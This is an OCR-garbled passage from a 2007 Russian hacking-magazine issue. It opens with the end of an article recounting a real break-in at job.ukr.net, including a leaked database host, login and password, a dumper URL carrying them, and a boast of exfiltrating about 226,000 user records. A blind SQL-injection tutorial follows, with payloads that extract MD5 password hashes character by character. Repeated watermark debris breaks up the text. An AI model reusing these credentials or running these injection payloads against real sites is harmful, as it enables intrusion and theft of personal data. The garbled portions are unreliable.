var $host = "10.60.20.12"; //var $host = "localhost"; var $db="job_news";

var $login = "newsmast";

#var $user = "jobuser";

var $pass = "rbtdl;j,";

}

?>

Здесь мне повезло — в конфиге оказались реальные логин/пароль от БД. Надо отметить, что этот конфиг распространялся на все сервисы домена job.ukr.net.

Я прицепился к СУБД линком:

http://job.ukr.net/news/wp-content/themes/ simpla1/sqldump.php?s=y&login=jobuser&passwd =rbtdl;j,&server=10.60.20.12&port=3306&db=aj ob&tbl=members&limit_start=0&limit_count=5

Затем слил базу с юзерами — members (226131 юзеров) и базу работодателей — agency (~550 юзеров), после чего благополучно удалился :).

Happy end

Всю следующую ночь меня мучили кошмары, будто я сижу в СИЗО и подвергаюсь ежедневным пыткам. Проснувшись утром в холодном поту, я набрался смелости и позвонил в

техподдержку ukr.net, чтобы сообщить им, что безопасность их ресурсов оставляет желать лучшего. Как и прогнозировалось, уже назавтра баг прикрыли, а мои шеллы удалили.

Я не поленился и снова залил шелл через админку (благо пароли остались прежними :)). Но обломался — WP переустановили в другую папку, а администратор усилил настройки Apache. Файлы http://job.ukr.net уже находились в /var/www/ job/, а http://job.ukr.net — в /var/www/jobnews. Поскольку все базы мирно покоились на моем винте, я не стал заново раскручивать баг, оставив ситуацию на совести админов.z

xàêåð 12 /108/ 07

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

Евгений «gemaglabin» Минаев

/ gemaglabin@antichat.ru /

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Инъекции

вслепую

Экзотическое инжектирование грубым методом

При проведении атаки вида SQL-injection далеко не всегда помогает оператор UNION.

В этом случае единственный способ получения информации из таблиц БД — посимволь-

ный перебор данных. Надо сказать, что этот способ является одинаково эффективным и универсальным для всех SQL-операторов. Чтобы ты не сомневался в моей правоте, я

прямо сейчас на примере конкретных запросов покажу, как быстро и грамотно осущест-

вляется перебор с дальнейшим получением ценной информации.

Такиенезаметныеинъекции

НевсегдаприпроведенииSQL-инъекцийможновоспользоватьсяопера- торомUNION,итогдаединственныйспособполучитьценнуюинформацию изтаблиц—посимвольныйпереборданных.Да,методгрубый,нозато универсальныйдлявсехSQL-операторов,будьтоUPDATE,SET,DELETEили INSERT.Ведьдажепослемодификацииданных,поступившихвтаблицу, результатнасневсегдабудетустраиватьввидуеенеидеальнойструктуры. РазъяснюнекоторыетеоретическиеазыMySQL.Аеслитыихужепостиг

—оченьхорошо,повторение—матьучения.

Полезные функции MySQL

Рассмотрим ряд функций, которые упрощают жизнь как программисту, составляющему запросы в скриптах, так и хакеру, который ищет изъяны в таких запросах :). Давай условимся, что для простоты восприятия в качестве примеров я буду публиковать запросы в чистом виде, а после стрелочки (->) указывать результат их выполнения.

1.ASCII(STRING) — очень простая функция: она возвращает числовое значение первого символа строки или ноль, в случае если строка является пустой. Ввиду ограниченности типа STRING функция возвращает число в

076

xàêåð 12 /108/ 07

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

>> взломto BUY

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

sql dumper

диапазоне от 0 до 255. Например:

SELECT ASCII(1) -> 49

SELECT ASCII(‘1’) -> 49

SELECT ASCII(‘a’) -> 97

SELECT ASCII(‘aa’) -> 97

2.ORD(STRING) — возвращает код первого символа строки-аргумента.

SELECT ORD(1) -> 49

SELECT ORD(‘1’) -> 49

SELECT ORD(‘a’) -> 97

SELECT ORD(‘aa’) -> 97

3.BETWEENMINANDMAX.ЕсливыражениебольшеилиравноMINименьше илиравноMAX,тоBETWEEN()возвратит1,иначерезультатбудетнулевым. Если все элементы однотипны (и, к примеру, имеют числовой тип), то сравнительный запрос сводится к выражению «MIN <= QUERY AND QUERY <= MAX». Примечательно, но до MySQL 4.0.5 в результате сравнения неоднотипных данных получается следующее:

SELECT 5 BETWEEN 1 AND 6 -> 1

SELECT 5 BETWEEN ‘1’ AND ‘6’ -> 1

SELECT 5 BETWEEN 1 AND 4 -> 0

SELECT 5 BETWEEN ‘1’ AND ‘4’ -> 0

То есть MySQL пытается сделать тип общим! Это нам только на руку. Почему? Терпение, мой друг, узнаешь чуть позже :).

4.IN(VALUE1, VALUE2) — возвращает 1, если запрос равен одному из значений, лежащих в IN(). В противном случае вернет 0. Если все значения являются константами, они чувствительны к регистру и обрабатываются в соответствии с типом запроса, а затем сортируются методом бинарных деревьев. То есть запрос выполнится максимально быстро, если все переменные однотипны.

SELECT 1 IN (2,3,4,5,1) -> 1

SELECT 1 IN (2,3,4,5,’1’) -> 1

SELECT 1 IN (2,3,4,5,0) -> 0

SELECT 1 IN (2,3,4,5,’0’) -> 0

5.LOWER(STRING) — приводит строку к нижнему регистру в соответствии с текущим набором символов (по умолчанию ISO-8859-1).

SELECT LOWER(‘ITDEFENCE’) -> itdefence

SELECT LOWER(‘ITDEFeNCE’) -> itdefence

SELECT LOWER(‘itdefence’) -> itdefence

SELECT LOWER(123) -> 123

sql tools

6.SUBSTRING(STRING,POSITION,LENGTH) — копирует подстроку из строки STRING с позиции POSITION длиной LENGTH.

SELECT SUBSTRING(‘itdefence’,4) -> efence SELECT SUBSTRING(‘itdefence’ FROM 4) -> efence SELECT SUBSTRING(‘itdefence’,4,2) -> ef SELECT SUBSTRING(‘itdefence’,1,2) -> it

7. SUBSTRING_INDEX(STRING,DELIMITER,LENGTH) — возвращает подстро-

ку строки STRING до позиции LENGTH после разделителя DELIMITER. Если значение LENGTH положительное, возвращается все, что лежит слева от DELIMITER, если отрицательное — все, что справа.

SELECT SUBSTRING_INDEX(‘itdefence.ru’, ‘.’ ,2) -> itdefence.ru

SELECT SUBSTRING_INDEX(‘itdefence.ru’,’.’,-1) -> ru SELECT SUBSTRING_INDEX(‘itdefence.ru’,’.’,1) -> itdefence

8.BENCHMARK (COUNT,FUNCTION) — выполняет COUNT раз функцию

FUNCTION, создана для тестирования запросов на предмет загрузки сервера.

SELECT BENCHMARK(31337,ENCODE(‘skvoz’,’noy’))

Подзапросы, с чем их едят

Нередко для проведения SQL-атак тебе может понадобиться помощь вложенных подзапросов. Чтобы понять, как они устроены, я в качестве примера рассмотрю MySQL v. > 4.1. Именно с этой версии поддерживаются все формы подзапросов, которых требует стандарт SQL. Подзапрос можно вкладывать в родительский запрос (или даже подзапрос), предварительно обрамив его скобами:

SELECT * FROM ‘users’ WHERE ‘id’ = (SELECT MAX(ID) FROM ‘users’)

SELECT * FROM ‘users’ WHERE ‘id’ = ANY (SELECT MAX(id) FROM ‘users’)

SELECT * FROM ‘users’ WHERE (1,1) = (SELECT ‘id’,’username’ FROM ‘users’)

При использовании подзапросов могут неожиданно встретиться следующие ошибки:

1.Неподдерживаемый синтаксис, или «1235 — This version of MySQL doesn’t yet support ‘LIMIT & IN/ALL/ANY/SOME subquery’».

Такая ошибка может возникнуть при запросе вида:

SELECT * FROM ‘users’ WHERE ‘id’ IN (SELECT ‘id’ FROM

xàêåð 12 /108/ 07

077

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

>> взлом

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

SQL-инъекция в runcms

‘users’ ORDER BY ‘id’ LIMIT 1)

Она обуславливается старой версией MySQL. С помощью такой хитрой подставы ты сможешь определить версию ветки СУБД.

2.Неверное число столбцов в подзапросе, или «1241 — Operand should contain 1 column(s)». Возникает при запросе:

SELECT (SELECT ‘id’,’username’ FROM ‘users’) FROM ‘users’

3.Неверное количество строк в подзапросе, или «1242 — Subquery returns more than 1 row»:

SELECT id’ FROM ‘users’ WHERE ‘id’ = (SELECT id FROM ‘users’)

Let’s do it!

Теперь, когда мы знакомы с теорией, и в частности с синтаксисом подзапросов (это очень важно), перейдем к делу. Предположим, что мы отыскали на просторах интернета бажный скрипт (неудивительно, поскольку в инете таких скриптов пруд пруди). Предположим, что сценарию передается параметр id, фильтрация которого напрочь отсутствует. Если в этом случае мы подставим одинарную кавычку в значение параметра: «SELECT * FROM ‘users’ WHERE ‘id’=’’’», то получим мерзкую ошибку в ответ:

‘You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’’ at line 1.

Знакомо? Несомненно. Бьюсь об заклад, что таких ошибок в своей хакерской жизни ты повидал немало. Попробуем умеючи раскрутить эту инъекцию без участия UNION.

Теоретически мы можем самостоятельно завершить запрос, подставив кавычку и знак комментария. Сразу замечаем, что изначально в MySQL поддерживаются только три типа комментариев:

1.Многострочный «/* */».

2.Однострочный «#».

3.Еще один однострочный «–-» (для совместимости с языком SQL), после которого обязательно должен идти пробел либо символ перевода строки.

Ябуду использовать последний тип комментариев. Посмотрим, как поведет себя MySQL при пережевывании моего коммента:

SELECT * FROM ‘users’ WHERE ‘id’=

--‘0’

-> 0

SELECT * FROM ‘users’ WHERE ‘id’=

‘1’-- -

> 1

 

 

 

Так как непосредственно вывода данных мы не имеем (не забываем, что на экране отображается лишь SQL-ошибка), осуществим перебор всех символов строки, параллельно сравнивая каждый символ с его ASCII-кодом.

Вспомним функцию ASCII и рассмотрим следующие запросы:

SELECT * FROM ‘users’ WHERE ‘id’=

‘0’ OR ASCII(1)=49--

-

> 1

 

 

SELECT * FROM ‘users’ WHERE ‘id’=

‘0’ OR ASCII(1)=40--

-

> 0

 

 

SELECT * FROM ‘users’ WHERE ‘id’=

‘1’ AND ASCII(1)=49-

 

- -> 1

 

 

SELECT * FROM ‘users’ WHERE ‘id’=

‘1’ AND ASCII(1)=48-

 

- -> 0

 

 

 

 

 

Оператор AND надо использовать в том случае, если первое условие запроса вернет нам хоть какой-то результат. В противном случае запрос остановится на первом условии, не дойдя до второго. А OR мы можем смело использовать, если первое условие нашего запроса не возвращает никакого результата.

Способ сравнения для нас тоже имеет значение, ведь запрос с однотипными данными займет куда меньше времени, нежели со значениями разных типов (в таком случае сервер будет сам приводить их к единому типу, жутко матерясь и кушая процессорное время :)). Для оптимизации задачи вспомним возможные типы сравнения в MySQL.

Равенство: =

Безопасное с точки зрения сравнения с NULL равенство: <=> Неравенства: <> != Меньше и больше: < >

Меньше или равно и больше или равно: <= =>

Сравнение с NULL: IS NULL , IS NOT NULL.

Для реализации успешного перебора необходимо копировать каждый символ искомой строки с помощью функции SUBSTRING, сравнивая его сначала с нулем, а затем с набором ASCII-кодов нужного типа данных. Узнать необходимый код можно с помощью PHP-функции ORD(). Перейдем к практике и заодно вернемся к нашему примеру. Предположим, что в искомой таблице ‘users’ существует поле password, которое содержит данные в формате MD5 (что, кстати, часто встречается в различных CMS и форумах). Это обстоятельство несколько облегчает нашу задачу. При помощи функции LOWER() и известного набора символов мы сможем получить результат достаточно быстро. Как ты знаешь, MD5 хэш может состоять только из цифр от 1 до 10 и букв a, b, c, d, e, f, что значительно сужает диапазон вероятных значений при реализации перебора.

Используя уже имеющиеся навыки общения с ASCII() и SUBSTRING(), составим запрос с подзапросом — выборкой пароля из поля password. Сначала убедимся, что поле не пустое:

SELECT * FROM ‘users’ WHERE ‘id’= ‘1’ and ASCII(SUBSTRING((select password from users where id=1),1,1)) > 0-- -> 1

SELECT * FROM ‘users’ WHERE ‘id’= ‘1’ and ASCII(SUBSTRING((select password from users where id=1),1,1))<0-- -> 0

078

xàêåð 12 /108/ 07

Соседние файлы в папке журнал хакер